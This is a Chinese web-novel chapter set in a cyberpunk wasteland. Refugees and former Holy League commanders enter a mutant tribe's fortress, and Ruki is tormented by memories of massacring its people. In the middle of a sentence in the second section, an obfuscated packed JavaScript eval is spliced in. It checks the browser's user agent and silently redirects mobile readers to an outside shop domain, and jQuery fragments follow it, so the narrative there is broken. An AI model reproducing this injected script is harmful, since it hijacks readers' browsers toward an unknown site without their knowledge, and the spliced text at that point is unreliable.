第一节:母王部落。
落日最后一缕余晖沉进沙丘尽头。
天际线染成一片凝脂般的昏红,像废土动脉里凝固的血。
狮犀兽的蹄子踩在沙砾上,声响沉闷规律。
每一步都陷出深深的坑洼,沙粒顺着蹄缝滑落;
混着微弱的钴蓝能量颗粒,在昏光里浮动成细碎的星子。
Ruki坐在领头身后。
腕上的铁链松松垮垮晃着,赛博义肢的钴蓝纹路映着残阳,泛着温润的光。
她瞥向大乌苏怀里的水晶仓,机体的衰败感又重了些。
剩余的二十一天寿命,像沙粒一样,正从指缝里一点点漏走。
她挺直脊背,目光越过巨兽的鬃毛,落在身后的队伍上。
大乌苏挡在佐伊身前,另一只胳膊抱着米拉的水晶仓。
仓体的金红光像微弱的心跳,在暮色里轻轻闪。
淡粉的发绳系在仓体背带上,随着脚步晃来晃去。
路和Johnny 走在队伍中段。
两人并肩走着,目光扫过沿途的沙砾。
路的视线停在沙粒里嵌着的一道细纹路,眉头微蹙。
那纹路粗糙却规整,和他记忆里Jay实验室墙上的能量刻痕,有几分像。
Johnny蒙眼的纱布轻颤了一下。
他摩挲着腕间的钴蓝纹路,似在捕捉空气里飘着的什么。
两人偶尔和巴图回望的目光撞上,便微微点头,没说话。
巴图坐在狮犀兽左侧。
指腹蹭着手腕上的细铁链,链身磨出的微光在暮色里若隐若现。
她低头看脚下的沙砾。
蹄印连绵到天边,像一条蜿蜒的河,载着这群人往未知的地方走。
风裹着沙粒吹过来,掀动她的衣角,吹乱了鬓边的碎发。
她抬手把碎发别到耳后,指尖触到温热的皮肤。
四十年前她也踏过这片土地。
那时她身后是浩荡的机甲军团,履带碾过碎石,眼里只有征服。
从没想过四十年后,会以俘虏的身份,跟着一群难民;
踩着自己当年造下的废墟,走进曾被自己下令屠戮的变异族部落。
巴图偏过头,看向身旁的卡特。
话痨小兵此时很安静,稍显失落,疑虑。
他攥着废土捡来的蓝色玩具车,眼神默默望着远处渐渐清晰的轮廓。
“前面就是母王部落的第一道要塞了。”
领头的忽然开口,声音粗哑得像砂纸磨木头。
他抬手指向沙丘顶端,那里堆着一堆巨型石头,在暮色里露出模糊的脊背。
狮犀兽群越走越近,要塞的轮廓一点点清晰起来。
外围是层叠的大石块,没经过任何雕琢,只是随意却稳固地垒在一起,形成一道防御墙。
石墙拱起,像巨兽的脊背。
石缝里长着几株耐旱的杂草,灰绿的芽尖挑着细碎的钴蓝光粒。
没有骨刺,没有兽骨,只有最纯粹的实用。
墙的尽头是一扇巨型木门。
木条粗得像成年人的腰,交错编织在一起,表面覆着厚厚的沙砾,像岁月结的痂。
门楣上挂着几面兽皮旗,风吹过,猎猎作响。
门两侧的石墙上,站着几名异族卫兵。
他们身高足有四、五米。
棕绿色的皮肤,粗糙且布满细碎骨刺,身上裹着破旧的兽皮甲,手握六米石矛。
矛尖的冷光映着脚边伏着的守卫兽。
那兽身形似狮,却长着犀的厚甲,鬃毛焦黑如钢针,兽瞳赤红。
却乖乖趴在地上,只是偶尔抬眼扫过众人,喉间滚出一声低哑的呜咽。
“站住!干什么的!”
石墙上的卫兵率先喝止。
嗓门洪亮,带着毫不掩饰的暴躁。
卫兵领头叫石夯,身形格外魁梧,肩背横着一道浅疤。
他握着长矛的手,骨节粗大,指缝里都长满鬃毛。
蛮格勒住缰绳。
巨兽停下脚步,前蹄刨了刨沙砾。
蛮格俯身喊:
“是我,蛮格!两周前被流放的驯兽兵!带俘虏回来立功赎罪,求见卫领!”
“俘虏?”
石夯眯起眼。
目光扫过众人,落在巴图、Ruki和卡特身上的圣盟胸章,眼神锐了。
“圣盟的人?你们怎么会带圣盟的人来部落?”
“是他们主动投降的!”
蛮格急得脸通红,声音拔高了几分,
“圣盟内乱,他们走投无路!我们带他们来见母王,也算立功!”
“能不能饶我们这次,让我们回部落?”
“主动投降?我看是耍花样!”
石夯身旁的矮个卫兵咋呼,
“圣盟的人最坏了!哪有这么好心投降?”
“真没耍花样!”
蛮格抬手指向卡特,
“你看他的机甲,还有胸前的胸章!是圣盟阿尔法清剿队的,错不了!还有她,”
他又指向巴图,
“她说自己是圣盟总统领巴图,要见母王谈事!”
石夯的目光落在卡特胸前的银色胸章上。
胸章刻着圣盟清剿队的标识,再看他身上的机甲,虽有磨损,制式却错不了。
他皱起眉,又看向巴图。
见她不过三十多岁左右的模样,身形纤细,和传闻里那个冷酷独裁的老太婆相去甚远。
忍不住嗤笑一声:
“巴图?传闻圣盟总统领都快八十了。你这年纪,怕不是冒名顶替的吧?”
巴图抬眼看向他。
语气平静,没辩解。
她抬起右手。
义肢的钴蓝纹路在暮色里亮了一下。
“是不是冒名顶替,母王自然知晓。你们若不放心,先扣下我,等核实身份再处置。”
石夯盯着那道钴蓝光。
他刚要开口,蛮格忽然压低声音,凑过来补了一句:
“还有一个人,你肯定听过。她是废土铁夜叉,Ruki大将军。”
“废土铁夜叉?!”
石夯原本硕大的异族圆眼,此刻都快瞪出来了。
手里的长矛一抖,矛尖蹭过石墙,刮下一片碎石。
石墙上的卫兵直接炸了锅。
纷纷低头看向Ruki,眼里满是震惊和难以掩饰的敬畏。
连脚边的守卫兽都往后缩了缩。
石夯盯着Ruki看了很久。
死死攥着长矛杆,指腹磨过粗糙的木痕。
他余光扫过身旁紧绷的卫兵,两人眼神撞了一下,又飞快错开。
喉结滚了滚。
最后他咬了咬后槽牙,冲身后喊:
“开门!让他们进来!每十米加一岗!”
“眼睛都盯紧了!敢出半点岔子,废土流放十天!”
几名卫兵立刻上前,合力推开巨型木门。
门轴转动,发出沉闷的吱呀声,像开启了一扇尘封的门。
门后是一片开阔的沙砾地,沿着山脚延伸,是第一圈外围防御圈。
卫兵按十米一岗站定,石墙上架着巨型石弩。
兽栏里的变异兽时不时发出低吟。
没有居住的房子,只有几处临时值守的棚屋。
棚屋旁燃着微弱的火把。
火光在暮色里跳动,把卫兵和长矛的影子投在石墙上。
狮犀兽群缓缓走进寨门,沙砾地被踩得簌簌作响。
Ruki垂眸看着脚下的沙粒,指尖蜷缩 ——
清剿的画面突然在义脑缓存投放:
她穿圣盟机甲,粒子刃染满暗红,变异族嘶吼哭喊缠在耳边;
沙砾浸透鲜血,踩上去黏腻发滑。
最刺人的是那只藤筐,她挥刃劈下时,幼崽啼哭戛然而止;
温热的血溅在义肢上,顺着钴蓝纹路往下淌。
后来洗了无数次,金属缝隙里的腥气仍像附骨之疽。
余光瞥见不远处变异族幼崽追逐打闹,摔倒后爬起来拍沙粒的模样。
赛博义肢钴蓝纹路骤然暗下去,又急促闪烁几下,连呼吸都跟着发紧。
此刻沙砾干净干燥,火把光暖得柔和;
卫兵们虽警惕却无攻击,过往血腥与当下安稳撞在一起,愧疚像细密的针,扎得心口发闷。
机体衰败的震颤顺着义肢蔓延,连指尖都在轻微发抖。
第一节完。
第二节: 卡特的审问。
“他们怎么不攻击我们?”
卡特挠了挠头,眼神里满是不解。
眼前的异族卫兵们,除了攥紧的长矛和警惕的眼神,竟没有半分愤恨的冲动。
甚至在听到Ruki的名字时,眼里还露出了敬畏。
巴图侧头看了他一眼,没说话。
她的目光扫过四周的石墙、石弩和伏在地上的守卫兽。
圣盟的防御靠的是能量护盾和粒子炮,而这里的人,只用石头、木头和驯服的野兽。
没有花哨的科技,却透着一股打不垮的韧劲。
众人沿着沙砾路往部落深处走。
暮色渐渐浓了。
天边的星星一颗颗亮起来,像撒在黑丝绒上的碎钻。
走了约莫半个时辰,眼前的景象变了。
沙砾路两侧出现了成片的石屋和巨型帐篷。
石屋是用粗糙的石砖垒的,缝里填着沙泥。
帐篷是用厚兽皮缝的,边角都用石头压得严严实实。
营地里燃起了篝火。
火光从河谷一直漫到山腰,映红了半边天。
一群变异族青壮年围在篝火旁。
有的在切暗紫色的巨型果实,汁水顺着指缝往下滴;
有的在整理翠绿的变异藤条,缠在木架上;
还有的在唱歌跳舞,歌声粗犷,舞步踩得沙砾乱飞。
Johnny站在篝火边缘。
蒙眼的纱布轻颤了一下。
他的指尖在腕间轻敲着,报出一串微弱的能量频率。
路蹲在旁边的帐篷旁。
拂过帐篷上的绣纹,忽然顿住了。
太阳穴传来一阵钝痛。
眼前闪过一片模糊的光影 ——
Jay的实验室,墙面的刻痕泛着微光。
他闭了闭眼,再睁开时,眼底多了几分凝重。
“好多幼崽。”
佐伊的声音轻轻响起。
她扣着银头盔,鬓角的几缕红发露在外面。
目光落在篝火旁追逐打闹的变异族幼崽身上。
那些幼崽只有四五岁,身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17681178|207352||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
高却已经快到人类成年人的肩膀。
红棕色的鬃毛蓬松着,墨绿色的皮肤泛着健康的光泽。
跑起来摔在沙地上,也不哭,爬起来拍拍身上的灰,接着跑。
不远处的石屋门口,左耳畸形的人类老奶奶,正把一块切好的果实递给一个小幼崽。
幼崽接过果实,仰起头,露出两排整齐的白牙,冲老奶奶笑。
“他们怎么和人类待在一起?”
卡特皱着眉,声音轻了些。
眼前的景象里,没有厮杀,没有仇恨。
人类难民坐在石屋门口乘凉,变异族幼崽围着他们跑。
他低头看着自己胸前的圣盟胸章。
金属的冷意透过布料传过来,有些扎人。
“部落里的人类,都是我们外出拾荒时救回来的。”
蛮格听到他的话,随口答道。
“他们在废土上活不下去,我们就带回来。都是求生的生物,分什么种族。”
卡特沉默了。
他抬起头,看向走在前面的Ruki。
她的脊背依旧挺得笔直,腕上的铁链随着脚步轻轻晃。
卡特的声音很轻,像在问Ruki,又像在问自己:
“Ruki大人,当年你杀了那么多他们的族人。他们现在…… 为什么不恨你?”
这话像一根尖锐的针,狠狠扎在Ruki心上。
她浑身一僵,垂眸看着地面,赛博义肢的钴蓝纹路暗了下去。
她被圣盟的虚假记忆操控,视变异族为仇人,挥刃斩杀了无数无辜的族人;
鲜血染红了她的双手,最让她无法释怀的,是那只被劈碎的藤筐;
幼崽温热的血,溅在面部仿生皮肤上的触感,至今清晰。
而此刻,这些变异族明明知晓她的身份,却没有对她主动攻击;
甚至没有恶言以对,这份包容,让她更觉愧疚,喉咙发紧,一句话也说不出来。
巴图见状,皱起眉,抬手拍卡特的肩膀,语气沉了些:
“别乱说话。”
“我只是在问事实。”
卡特抬头看向巴图,眼神里满是执拗,
“圣盟说变异族是威胁,可他们善待人类难民,不杀生。”
“甚至包容曾屠杀他们族人二十年的敌人。”
“圣盟说自己是正义的,却烧他们的营地,杀他们的族人,还欺骗我们这些小兵。”
“我们克隆人,不也和他们一样吗?”
卡特此时不再话痨,并不是絮叨,只是想把憋着的话全倾诉,
“圣盟培育我们,说是为了守护纯种人贵族,其实就是劳作至猝死为止。”
“我虽未上过战场,但是我在圣武军工厂长大,日夜制造的机甲武器,就为屠戮他们吧。”
“我们克隆人劳工什么都不知道,只想获得一些杂质少些的营养膏,污染少些的饮水。”
巴图的心脏一缩,卡特的话像一记重锤,狠狠砸在她胸口上。
她张了张嘴,一个字也没说出来。
众人继续往前走。
篝火的光越来越亮。
变异果实的清甜混着草木香,飘过来,盖过了身上的铁锈味。
偶尔有变异族幼崽跑过来,远远地盯着他们看。
见Ruki没动,又怯生生地跑开。
几只灰毛变异雀停在卫兵的肩头,啄他耳朵上沾的碎沙。
还有几只沙地野兔在帐篷根下蹦跳,不怕人。
“他们都吃这些?”
佐伊看向蛮格,轻声问。
“嗯。果实、藤条、树根,能吃的都摘。”
蛮格点头,抬手指向不远处的物资堆,
“那边还有能源晶体,是长老们用的。”
“从旧世界的能源基地和矿洞里挖的,不是辐射废料,没毒。”
米粒博士立刻窜了过去。
他蹲在物资堆旁,机械爪子轻轻戳了戳一块淡紫色的晶体。
敲一下,发出清脆的叮咚声。
“这能量波动真稳。”
他小声嘀咕,尾巴晃来晃去。
Johnny走过来,指尖也碰了碰晶体。
蒙眼的纱布下钴蓝微光一闪。
“能量频率 3.7 赫兹。和Jay实验室的频率一样。平衡型能量晶矿。”
路站在旁边,目光落在晶体堆旁的地面纹路。
他的太阳穴又猛地一跳,钝痛持续传来。
眼前闪过清晰的碎片 ——
Jay的实验室,墙面的刻痕泛着同样的紫光。
他抬手按了按耳后,抬眼看向巴图。
巴图回望他,轻轻点了点头。
夜色越来越浓,难民们的脚步拖得越来越沉。
孕妇扶着肚子,脸色发白,每走一步都晃一下。
老奶奶的木杖戳在沙里,深一下浅一下。
几个小孩攥着大人的衣角,眼睛都快睁不开了。
大乌苏立刻把怀里的水晶仓塞给伏特加,转身扶住孕妇的胳膊。
朗姆也走过去,搀住老奶奶的手肘。
伏特加抱着水晶仓,跟在后面,脚步放得很慢。
“快到第三圈了。”
蛮格回头喊了一声, “卫兵部就在前面,到了就能歇脚喝水。”
第二节完。